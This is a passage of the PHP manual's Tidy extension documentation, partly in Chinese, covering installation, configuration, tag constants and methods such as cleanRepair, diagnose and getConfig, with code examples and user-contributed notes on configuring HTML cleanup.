    • tidy::$errorBuffer — Return warnings and errors which occurred parsing the specified document
    • tidy::getConfig — Get current Tidy configuration
    • tidy::getHtmlVer — Get the Detected HTML version for the specified document
    • tidy::getOpt — Returns the value of the specified configuration option for the tidy document
    • tidy::getOptDoc — Returns the documentation for the given option name
    • tidy::getRelease — Get release date (version) for Tidy library
    • tidy::getStatus — Get status of specified document
    • tidy::head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree
    • tidy::html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree
    • tidy::isXhtml — Indicates if the document is a XHTML document
    • tidy::isXml — Indicates if the document is a generic (non HTML/XHTML) XML document
    • tidy::parseFile — Parse markup in file or URI
    • tidy::parseString — Parse a document stored in a string
    • tidy::repairFile — Repair a file and return it as a string
    • tidy::repairString — Repair a string using an optionally provided configuration file
    • tidy::root — Returns a tidyNode object representing the root of the tidy parse tree
  • tidyNode — The tidyNode class
    • tidyNode::__construct — Private constructor to disallow direct instantiation
    • tidyNode::getParent — Returns the parent node of the current node
    • tidyNode::hasChildren — Checks if a node has children
    • tidyNode::hasSiblings — Checks if a node has siblings
    • tidyNode::isAsp — Checks if this node is ASP
    • tidyNode::isComment — Checks if a node represents a comment
    • tidyNode::isHtml — Checks if a node is an element node
    • tidyNode::isJste — Checks if this node is JSTE
    • tidyNode::isPhp — Checks if a node is PHP
    • tidyNode::isText — Checks if a node represents text (no markup)
  • Tidy 函数
    • ob_tidyhandler — ob_start callback function to repair the buffer
    • tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document
    • tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document
    • tidy_error_count — Returns the Number of Tidy errors encountered for specified document
    • tidy_get_output — Return a string representing the parsed tidy markup
    • tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

anon 13-Feb-2019 08:44
Configuration options in http://tidy.sourceforge.net/docs/quickref.html are obsoletes.

Actual configuration options are here:
http://api.html-tidy.org/tidy/quickref_5.0.0.html
sirmonko at tapirpirates dot net 28-May-2009 12:59
here are the configuration options for tidy:
http://tidy.sourceforge.net/docs/quickref.html


简介

Tidy is a binding for the Tidy HTML clean and repair utility which allows you to not only clean and otherwise manipulate HTML, XHTML, and XML documents, but also traverse the document tree, including ones with embedded scripting languages such as PHP or ASP within them using object-oriented constructs.

User Contributed Notes

There are no user contributed notes for this page.


需求

To use Tidy, you will need libtidy installed, available on the » tidy homepage. As of PHP 7.1.0, the HTML5 aware successor » libtidy5 can be used alternatively. As of PHP 7.3.0, another option is to use » libtidyp.

User Contributed Notes

There are no user contributed notes for this page.


安装

This extension is bundled with PHP, and is installed using the --with-tidy configure option.

User Contributed Notes

a dot sadegh63 at gmail dot com 01-Jul-2022 01:51
install tidy on ubuntu 20.0.4 for PHP 8.1
sudo apt-get install php8.1-tidy
krzysztof at madejscy dot pl 16-May-2018 11:26
On Ubuntu 17.10 and php 7.1:
sudo apt install libtidy-dev libtidy5 php-tidy
Anonymous 05-Feb-2014 07:06
On Redhat-ish linux, you must install both libtidy and libtidy-devel (PHP 5.x):
sudo yum install libtidy libtidy-devel


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Tidy Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
tidy.default_config | "" | PHP_INI_SYSTEM |
tidy.clean_output | "0" | PHP_INI_USER |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

tidy.default_config string

Default path for tidy config file.

tidy.clean_output bool

Turns on/off the output repairing by Tidy.

Warning

Do not turn on tidy.clean_output if you are generating non-html content such as dynamic images.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Each TIDY_TAG_XXX represents a HTML tag. For example, TIDY_TAG_A represents a "<a href="XX">link</a>" tag.

The following constants are defined:

tidy tag constants
Constant | Notes
TIDY_TAG_UNKNOWN |
TIDY_TAG_A |
TIDY_TAG_ABBR |
TIDY_TAG_ACRONYM |
TIDY_TAG_ALIGN |
TIDY_TAG_APPLET |
TIDY_TAG_AREA |
TIDY_TAG_ARTICLE | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_ASIDE | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_AUDIO | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_B |
TIDY_TAG_BASE |
TIDY_TAG_BASEFONT |
TIDY_TAG_BDI | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_BDO |
TIDY_TAG_BGSOUND |
TIDY_TAG_BIG |
TIDY_TAG_BLINK |
TIDY_TAG_BLOCKQUOTE |
TIDY_TAG_BODY |
TIDY_TAG_BR |
TIDY_TAG_BUTTON |
TIDY_TAG_CANVAS | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_CAPTION |
TIDY_TAG_CENTER |
TIDY_TAG_CITE |
TIDY_TAG_CODE |
TIDY_TAG_COL |
TIDY_TAG_COLGROUP |
TIDY_TAG_COMMAND | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_COMMENT |
TIDY_TAG_DATALIST | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_DD |
TIDY_TAG_DEL |
TIDY_TAG_DETAILS | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_DFN |
TIDY_TAG_DIALOG | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_DIR |
TIDY_TAG_DIV |
TIDY_TAG_DL |
TIDY_TAG_DT |
TIDY_TAG_EM |
TIDY_TAG_EMBED |
TIDY_TAG_FIELDSET |
TIDY_TAG_FIGCAPTION | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_FIGURE | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_FONT |
TIDY_TAG_FOOTER | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_FORM |
TIDY_TAG_FRAME |
TIDY_TAG_FRAMESET |
TIDY_TAG_H1 |
TIDY_TAG_H2 |
TIDY_TAG_H3 |
TIDY_TAG_H4 |
TIDY_TAG_H5 |
TIDY_TAG_H6 |
TIDY_TAG_HEAD |
TIDY_TAG_HEADER | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_HGROUP | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_HR |
TIDY_TAG_HTML |
TIDY_TAG_I |
TIDY_TAG_IFRAME |
TIDY_TAG_ILAYER |
TIDY_TAG_IMG |
TIDY_TAG_INPUT |
TIDY_TAG_INS |
TIDY_TAG_ISINDEX |
TIDY_TAG_KBD |
TIDY_TAG_KEYGEN |
TIDY_TAG_LABEL |
TIDY_TAG_LAYER |
TIDY_TAG_LEGEND |
TIDY_TAG_LI |
TIDY_TAG_LINK |
TIDY_TAG_LISTING |
TIDY_TAG_MAIN | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_MAP |
TIDY_TAG_MARK | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_MARQUEE |
TIDY_TAG_MENU |
TIDY_TAG_MENUITEM | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_META |
TIDY_TAG_METER | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_MULTICOL |
TIDY_TAG_NAV | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_NOBR |
TIDY_TAG_NOEMBED |
TIDY_TAG_NOFRAMES |
TIDY_TAG_NOLAYER |
TIDY_TAG_NOSAVE |
TIDY_TAG_NOSCRIPT |
TIDY_TAG_OBJECT |
TIDY_TAG_OL |
TIDY_TAG_OPTGROUP |
TIDY_TAG_OPTION |
TIDY_TAG_OUTPUT | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_P |
TIDY_TAG_PARAM |
TIDY_TAG_PLAINTEXT |
TIDY_TAG_PRE |
TIDY_TAG_PROGRESS | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_Q |
TIDY_TAG_RB |
TIDY_TAG_RBC |
TIDY_TAG_RP |
TIDY_TAG_RT |
TIDY_TAG_RTC |
TIDY_TAG_RUBY |
TIDY_TAG_S |
TIDY_TAG_SAMP |
TIDY_TAG_SCRIPT |
TIDY_TAG_SECTION | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_SELECT |
TIDY_TAG_SERVER |
TIDY_TAG_SERVLET |
TIDY_TAG_SMALL |
TIDY_TAG_SOURCE | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_SPACER |
TIDY_TAG_SPAN |
TIDY_TAG_STRIKE |
TIDY_TAG_STRONG |
TIDY_TAG_STYLE |
TIDY_TAG_SUB |
TIDY_TAG_SUMMARY | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_SUP |
TIDY_TAG_TABLE |
TIDY_TAG_TBODY |
TIDY_TAG_TD |
TIDY_TAG_TEMPLATE | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_TEXTAREA |
TIDY_TAG_TFOOT |
TIDY_TAG_TH |
TIDY_TAG_THEAD |
TIDY_TAG_TIME | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_TITLE |
TIDY_TAG_TR |
TIDY_TAG_TRACK | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_TT |
TIDY_TAG_U |
TIDY_TAG_UL |
TIDY_TAG_VAR |
TIDY_TAG_VIDEO | Added in libtidy 5.0.0. Available as of PHP 7.4.0.
TIDY_TAG_WBR |
TIDY_TAG_XMP |

tidy nodetype constants
constant | description
TIDY_NODETYPE_ROOT | root node
TIDY_NODETYPE_DOCTYPE | doctype
TIDY_NODETYPE_COMMENT | HTML comment
TIDY_NODETYPE_PROCINS | Processing Instruction
TIDY_NODETYPE_TEXT | Text
TIDY_NODETYPE_START | start tag
TIDY_NODETYPE_END | end tag
TIDY_NODETYPE_STARTEND | empty tag
TIDY_NODETYPE_CDATA | CDATA
TIDY_NODETYPE_SECTION | XML section
TIDY_NODETYPE_ASP | ASP code
TIDY_NODETYPE_JSTE | JSTE code
TIDY_NODETYPE_PHP | PHP code
TIDY_NODETYPE_XMLDECL | XML declaration

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Tidy example

User Contributed Notes

Dmitri Snytkine cms.lampcms.com 23-Dec-2009 02:26
Important notice about configuration options:
If you read the quickref on this page:
http://tidy.sourceforge.net/docs/quickref.html
you may get an idea that the boolean values for config options can be set as 'y' or 'yes' or 'n' or 'no'
but that's not true for the tidy extension in php.

Boolean values MUST be set only as true or false (without quotes or cause), otherwise tidy just ignores your configuration. It will not raise any error or warning but will just ignore your 'yes' or 'no' values.

For example, this config array will not have the desired effect:
<?php $config = array('drop-proprietary-attributes' => 'yes'); ?>

You must set option to true:
<?php $config = array('drop-proprietary-attributes' => true); ?>
Brad 03-Mar-2009 12:50
Cleaning an html fragment (OO support seems to half-arsed for now)

This will ensure all tags are closed, without adding any html/head/body tags around it.

<?php
$tidy_config = array(
                     'clean' => true,
                     'output-xhtml' => true,
                     'show-body-only' => true,
                     'wrap' => 0,

                     );

$tidy = tidy_parse_string($html_fragment, $tidy_config, 'UTF8');
$tidy->cleanRepair();
echo $tidy;
?>
nicolas [at] adaka [dot] fr 25-Nov-2008 01:33
That seems to be the correct config to symply tidy an HTML fragment (in a valid XHTML syntax) :

<?php
    $tidy_config    =    array(
        'clean'                            =>    true,
        'drop-proprietary-attributes'    =>    true,
        'output-xhtml'                    =>    true,
        'show-body-only'                =>    true,
        'word-2000'                        =>    true,
        'wrap'                            =>    '0'
    );
?>
dan [@t] authenticdesign [d_o_t] net 22-Aug-2008 10:44
If you're just looking for a quick and dirty way to output HTML code you created in a formatted way use this technique...

<?php
$html = 'a chunk of html you created';
$config = array(
            'indent'         => true,
            'output-xml'     => true,
            'input-xml'     => true,
            'wrap'         => '1000');

// Tidy
$tidy = new tidy();
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();
echo tidy_get_output($tidy);
?>

... This seemed to get the result I wanted every time.


Tidy example

This simple example shows basic Tidy usage.

Example #1 Basic Tidy usage

<?php
ob_start();
?>
<html>a html document</html>
<?php
$html = ob_get_clean();

// Specify configuration
$config = array(
'indent' => true,
'output-xhtml' => true,
'wrap' => 200);

// Tidy
$tidy = new tidy;
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();

// Output
echo $tidy;
?>

User Contributed Notes

mmeisam at gmail dot com 25-Oct-2020 11:58
If you're using tidy to clean up your HTML but only want your string formatted and not the whole html and head tag, you can use the following configuration array:

<?php
$config = [
    'indent'         => true,
    'output-xhtml'   => false,
    'show-body-only' => true
];

$tidy = new tidy;
$tidy->parseString($your_html_code, $config, 'utf8');
$tidy->cleanRepair();

echo $tidy;
?>
gk at anuary dot com 22-Feb-2014 10:56
If you are looking for HTML beautifier (a tool to indent HTML output produced by your script), Tidy extension might not be the right tool for the job.

First and foremost, you should not be using either Tidy or alternatives (e.g. HTML Purifier) in the production code. HTML post procession is relatively resource demanding task, esp. if the underlying implementation relies on DOM API. However, beyond performance, HTML beautification in production might hide far more serious output issues that will be hard to trace back, because output will not align with the input.

If you are indenting to use indentation (consistent, readable formatting of the output) for development purposes only then you might consider implementation that relies on regular expression. I have written, https://github.com/gajus/dindent for this purpose. The difference between earlier mentioned implementation and the latter is that regular expression based implementation does not attempt to sanitise, validate or otherwise manipulate your output beyond ensuring proper indentation.
i dot c dot lovett at NOSPAM dot gmail dot com 12-Mar-2012 08:22
Anyone trying to specify "indent: auto" as documented at http://tidy.sourceforge.net/docs/quickref.html#indent

<?php
$tidy_options = array('indent' => 'auto'); // WILL NOT WORK
$tidy_options = array('indent' => 2); // equivalent of auto

$tidy = new Tidy();
$tidy->parseString($html, $tidy_options);
?>


The tidy class

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

简介

An HTML node in an HTML file, as detected by tidy.

类摘要

class tidy {
/* 属性 */
public ?string $errorBuffer = null;
public ?string $value = null;
/* 方法 */
public __construct(
?string $filename = null,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
)
public body(): ?tidyNode
public cleanRepair(): bool
public diagnose(): bool
public getConfig(): array
public getHtmlVer(): int
public getOpt(string $option): string|int|bool
public getOptDoc(string $option): string|false
public getRelease(): string
public getStatus(): int
public head(): ?tidyNode
public html(): ?tidyNode
public isXhtml(): bool
public isXml(): bool
public parseFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): bool
public parseString(string $string, array|string|null $config = null, ?string $encoding = null): bool
public static repairFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): string|false
public static repairString(string $string, array|string|null $config = null, ?string $encoding = null): string|false
public root(): ?tidyNode
}

属性

value

The HTML representation of the node, including the surrounding tags.

Table of Contents

  • tidy::body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::cleanRepair — Execute configured cleanup and repair operations on parsed markup
  • tidy::__construct — Constructs a new tidy object
  • tidy::diagnose — Run configured diagnostics on parsed and repaired markup
  • tidy::$errorBuffer — Return warnings and errors which occurred parsing the specified document
  • tidy::getConfig — Get current Tidy configuration
  • tidy::getHtmlVer — Get the Detected HTML version for the specified document
  • tidy::getOpt — Returns the value of the specified configuration option for the tidy document
  • tidy::getOptDoc — Returns the documentation for the given option name
  • tidy::getRelease — Get release date (version) for Tidy library
  • tidy::getStatus — Get status of specified document
  • tidy::head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree
  • tidy::html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree
  • tidy::isXhtml — Indicates if the document is a XHTML document
  • tidy::isXml — Indicates if the document is a generic (non HTML/XHTML) XML document
  • tidy::parseFile — Parse markup in file or URI
  • tidy::parseString — Parse a document stored in a string
  • tidy::repairFile — Repair a file and return it as a string
  • tidy::repairString — Repair a string using an optionally provided configuration file
  • tidy::root — Returns a tidyNode object representing the root of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Returns a tidyNode object starting from the <body> tag of the tidy parse tree

  • ? tidy
  • tidy::cleanRepair ?
  • PHP Manual
  • tidy
  • Returns a tidyNode object starting from the <body> tag of the tidy parse tree

tidy::body

tidy_get_body

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0)

tidy::body -- tidy_get_body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree

说明

面向对象风格

public tidy::body(): ?tidyNode

过程化风格

tidy_get_body(tidy $tidy): ?tidyNode

Returns a tidyNode object starting from the <body> tag of the tidy parse tree.

参数

tidy

The Tidy 对象。

返回值

Returns a tidyNode object starting from the <body> tag of the tidy parse tree.

示例

Example #1 tidy::getBody() example

<?php
$html = '
<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>';

$tidy = tidy_parse_string($html);

$body = $tidy->Body();
echo $body->value;
?>

以上示例会输出：

<body>
<p>paragraph</p>
</body>

参见

  • tidy::head() - Returns a tidyNode object starting from the <head> tag of the tidy parse tree
  • tidy::html() - Returns a tidyNode object starting from the <html> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Execute configured cleanup and repair operations on parsed markup

  • ? tidy::body
  • tidy::__construct ?
  • PHP Manual
  • tidy
  • Execute configured cleanup and repair operations on parsed markup

tidy::cleanRepair

tidy_clean_repair

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::cleanRepair -- tidy_clean_repair — Execute configured cleanup and repair operations on parsed markup

说明

面向对象风格

public tidy::cleanRepair(): bool

过程化风格

tidy_clean_repair(tidy $tidy): bool

This function cleans and repairs the given tidy tidy.

参数

tidy

The Tidy 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 tidy::cleanrepair() example

<?php
$html = '<p>test</I>';

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

echo $tidy;
?>

以上示例会输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

参见

  • tidy::repairFile() - Repair a file and return it as a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

steven at nevvix dot com 07-Aug-2018 05:30
<?php
/**
 * UTF-8 HTML5-compatible Tidy
 *
 * @param string $html
 * @param array $config
 * @param string $encoding
 * @link http://tidy.sourceforge.net/docs/quickref.html
 */
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    if (!extension_loaded('tidy')) {
        throw new \Exception("Tidy extension is missing!");
        return;
    }
    $config += [
        'clean'       => TRUE,
        'doctype'     => 'omit',
        'indent'      => 2, // auto
        'output-html' => TRUE,
        'tidy-mark'   => FALSE,
        'wrap'        => 0,
        // HTML5 tags
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
    ];
    $html = tidy_parse_string($html, $config, $encoding);
    tidy_clean_repair($html);
    return '<!DOCTYPE html>' . PHP_EOL . $html;
}

$html = '<z/><p><a href="#">Link</a></p><p>Second para</p>';
echo tidy_html5($html);

Output:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <p><a href="#">Link</a></p>
  <p>Second para</p>
</body>
</html>


Constructs a new tidy object

  • ? tidy::cleanRepair
  • tidy::diagnose ?
  • PHP Manual
  • tidy
  • Constructs a new tidy object

tidy::__construct

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::__construct — Constructs a new tidy object

说明

public tidy::__construct(
?string $filename = null,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
)

Constructs a new tidy object.

参数

filename

If the filename parameter is given, this function will also read that file and initialize the object with the file, acting like tidy_parse_file().

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, visit » http://api.html-tidy.org/#quick-reference.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

useIncludePath

Search for the file in the include_path.

更新日志

版本 | 说明
8.0.0 | filename, config, encoding and useIncludePath are nullable now.

示例

Example #1 tidy::__construct() example

<?php

$html = <<< HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <bt />
text</p>
</body></html>

HTML;

$tidy = new tidy();
$tidy->ParseString($html);

$tidy->cleanRepair();

if ($tidy->errorBuffer) {
echo "The following errors were detected:\n";
echo $tidy->errorBuffer;
}

?>

以上示例会输出：

The following errors were detected:
line 8 column 14 - Error: <bt> is not recognized!
line 8 column 14 - Warning: discarding unexpected <bt>

参见

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string

User Contributed Notes

There are no user contributed notes for this page.


Run configured diagnostics on parsed and repaired markup

  • ? tidy::__construct
  • tidy::$errorBuffer ?
  • PHP Manual
  • tidy
  • Run configured diagnostics on parsed and repaired markup

tidy::diagnose

tidy_diagnose

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::diagnose -- tidy_diagnose — Run configured diagnostics on parsed and repaired markup

说明

面向对象风格

public tidy::diagnose(): bool

过程化风格

tidy_diagnose(tidy $tidy): bool

Runs diagnostic tests on the given tidy tidy, adding some more information about the document in the error buffer.

参数

tidy

The Tidy 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 tidy::diagnose() example

<?php

$html = <<< HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<p>paragraph</p>
HTML;

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

// note the difference between the two outputs
echo $tidy->errorBuffer . "\n";

$tidy->diagnose();
echo $tidy->errorBuffer;

?>

以上示例会输出：

line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
Info: Doctype given is "-//W3C//DTD XHTML 1.0 Strict//EN"
Info: Document content looks like XHTML 1.0 Strict
2 warnings, 0 errors were found!

参见

  • tidy::errorBuffer()

User Contributed Notes

There are no user contributed notes for this page.


Return warnings and errors which occurred parsing the specified document

  • ? tidy::diagnose
  • tidy::getConfig ?
  • PHP Manual
  • tidy
  • Return warnings and errors which occurred parsing the specified document

tidy::$errorBuffer

tidy_get_error_buffer

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::$errorBuffer -- tidy_get_error_buffer — Return warnings and errors which occurred parsing the specified document

说明

面向对象风格 (property):

public string $tidy->errorBuffer;

过程化风格:

tidy_get_error_buffer(tidy $tidy): string|false

Returns warnings and errors which occurred parsing the specified document.

参数

tidy

The Tidy 对象。

返回值

Returns the error buffer as a string, or false if the buffer is empty.

示例

Example #1 tidy_get_error_buffer() example

<?php
$html = '<p>paragraph</p>';

$tidy = tidy_parse_string($html);

echo tidy_get_error_buffer($tidy);
/* or in OO: */
echo $tidy->errorBuffer;
?>

以上示例会输出：

line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: inserting missing 'title' element

参见

  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

david dot tulloh at infaze dot com dot au 11-May-2005 10:42
The following line will convert string error into a two dimensional array containing the components from the error string for each line.  It will match Error, Warning, Info and Access error types.  You can then do something useful with the output.

<?php
preg_match_all('/^(?:line (\d+) column (\d+) - )?(\S+): (?:\[((?:\d+\.?){4})]:)
?(.*?)$/m', $tidy->errorBuffer, $tidy_errors, PREG_SET_ORDER);
?>

And a small tip, always run the error messages through htmlentities when outputting to convert the tags in the error to a viewable form.


Get current Tidy configuration

  • ? tidy::$errorBuffer
  • tidy::getHtmlVer ?
  • PHP Manual
  • tidy
  • Get current Tidy configuration

tidy::getConfig

tidy_get_config

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::getConfig -- tidy_get_config — Get current Tidy configuration

说明

面向对象风格

public tidy::getConfig(): array

过程化风格

tidy_get_config(tidy $tidy): array

Gets the list of the configuration options in use by the given tidy tidy.

参数

tidy

The Tidy 对象。

返回值

Returns an array of configuration options.

For an explanation about each option, visit » http://api.html-tidy.org/#quick-reference.

示例

Example #1 tidy::getConfig() example

<?php
$html = '<p>test</p>';
$config = array('indent' => TRUE,
'output-xhtml' => TRUE,
'wrap' => 200);

$tidy = tidy_parse_string($html, $config);

print_r($tidy->getConfig());
?>

以上示例会输出：

Array
(
    [indent-spaces] => 2
    [wrap] => 200
    [tab-size] => 8
    [char-encoding] => 1
    [input-encoding] => 3
    [output-encoding] => 1
    [newline] => 1
    [doctype-mode] => 1
    [doctype] =>
    [repeated-attributes] => 1
    [alt-text] =>
    [slide-style] =>
    [error-file] =>
    [output-file] =>
    [write-back] =>
    [markup] => 1
    [show-warnings] => 1
    [quiet] =>
    [indent] => 1
    [hide-endtags] =>
    [input-xml] =>
    [output-xml] => 1
    [output-xhtml] => 1
    [output-html] =>
    [add-xml-decl] =>
    [uppercase-tags] =>
    [uppercase-attributes] =>
    [bare] =>
    [clean] =>
    [logical-emphasis] =>
    [drop-proprietary-attributes] =>
    [drop-font-tags] =>
    [drop-empty-paras] => 1
    [fix-bad-comments] => 1
    [break-before-br] =>
    [split] =>
    [numeric-entities] =>
    [quote-marks] =>
    [quote-nbsp] => 1
    [quote-ampersand] => 1
    [wrap-attributes] =>
    [wrap-script-literals] =>
    [wrap-sections] => 1
    [wrap-asp] => 1
    [wrap-jste] => 1
    [wrap-php] => 1
    [fix-backslash] => 1
    [indent-attributes] =>
    [assume-xml-procins] =>
    [add-xml-space] =>
    [enclose-text] =>
    [enclose-block-text] =>
    [keep-time] =>
    [word-2000] =>
    [tidy-mark] =>
    [gnu-emacs] =>
    [gnu-emacs-file] =>
    [literal-attributes] =>
    [show-body-only] =>
    [fix-uri] => 1
    [lower-literals] => 1
    [hide-comments] =>
    [indent-cdata] =>
    [force-output] => 1
    [show-errors] => 6
    [ascii-chars] => 1
    [join-classes] =>
    [join-styles] => 1
    [escape-cdata] =>
    [language] =>
    [ncr] => 1
    [output-bom] => 2
    [replace-color] =>
    [css-prefix] =>
    [new-inline-tags] =>
    [new-blocklevel-tags] =>
    [new-empty-tags] =>
    [new-pre-tags] =>
    [accessibility-check] => 0
    [vertical-space] =>
    [punctuation-wrap] =>
    [merge-divs] => 1
)

参见

  • tidy_reset_config()
  • tidy_save_config()

User Contributed Notes

Anonymous 05-Feb-2020 07:07
Beware of deprecated config options.

For example 'drop-font-tags' was deprecated and removed in newer versions of Tidy.

The URL provided for options reference is wrong, the proper API reference with a list of options per Tidy version is here: http://api.html-tidy.org/


Get the Detected HTML version for the specified document

  • ? tidy::getConfig
  • tidy::getOpt ?
  • PHP Manual
  • tidy
  • Get the Detected HTML version for the specified document

tidy::getHtmlVer

tidy_get_html_ver

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getHtmlVer -- tidy_get_html_ver — Get the Detected HTML version for the specified document

说明

面向对象风格

public tidy::getHtmlVer(): int

过程化风格

tidy_get_html_ver(tidy $tidy): int

Returns the detected HTML version for the specified tidy tidy.

参数

tidy

The Tidy 对象。

返回值

Returns the detected HTML version.

Warning

This function is not yet implemented in the Tidylib itself, so it always return 0.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the specified configuration option for the tidy document

  • ? tidy::getHtmlVer
  • tidy::getOptDoc ?
  • PHP Manual
  • tidy
  • Returns the value of the specified configuration option for the tidy document

tidy::getOpt

tidy_getopt

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getOpt -- tidy_getopt — Returns the value of the specified configuration option for the tidy document

说明

面向对象风格

public tidy::getOpt(string $option): string|int|bool

过程化风格

tidy_getopt(tidy $tidy, string $option): string|int|bool

Returns the value of the specified option for the specified tidy tidy.

参数

tidy

The Tidy 对象。

option

You will find a list with each configuration option and their types at: » http://api.html-tidy.org/#quick-reference.

返回值

Returns the value of the specified option. The return type depends on the type of the specified one.

示例

Example #1 tidy_getopt() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

$config = array('accessibility-check' => 3,
'alt-text' => 'some text');

$tidy = new tidy();
$tidy->parseString($html, $config);

var_dump($tidy->getOpt('accessibility-check')); //integer
var_dump($tidy->getOpt('lower-literals')); //boolean
var_dump($tidy->getOpt('alt-text')); //string

?>

以上示例会输出：

int(3)
bool(true)
string(9) "some text"

User Contributed Notes

There are no user contributed notes for this page.


Returns the documentation for the given option name

  • ? tidy::getOpt
  • tidy::getRelease ?
  • PHP Manual
  • tidy
  • Returns the documentation for the given option name

tidy::getOptDoc

tidy_get_opt_doc

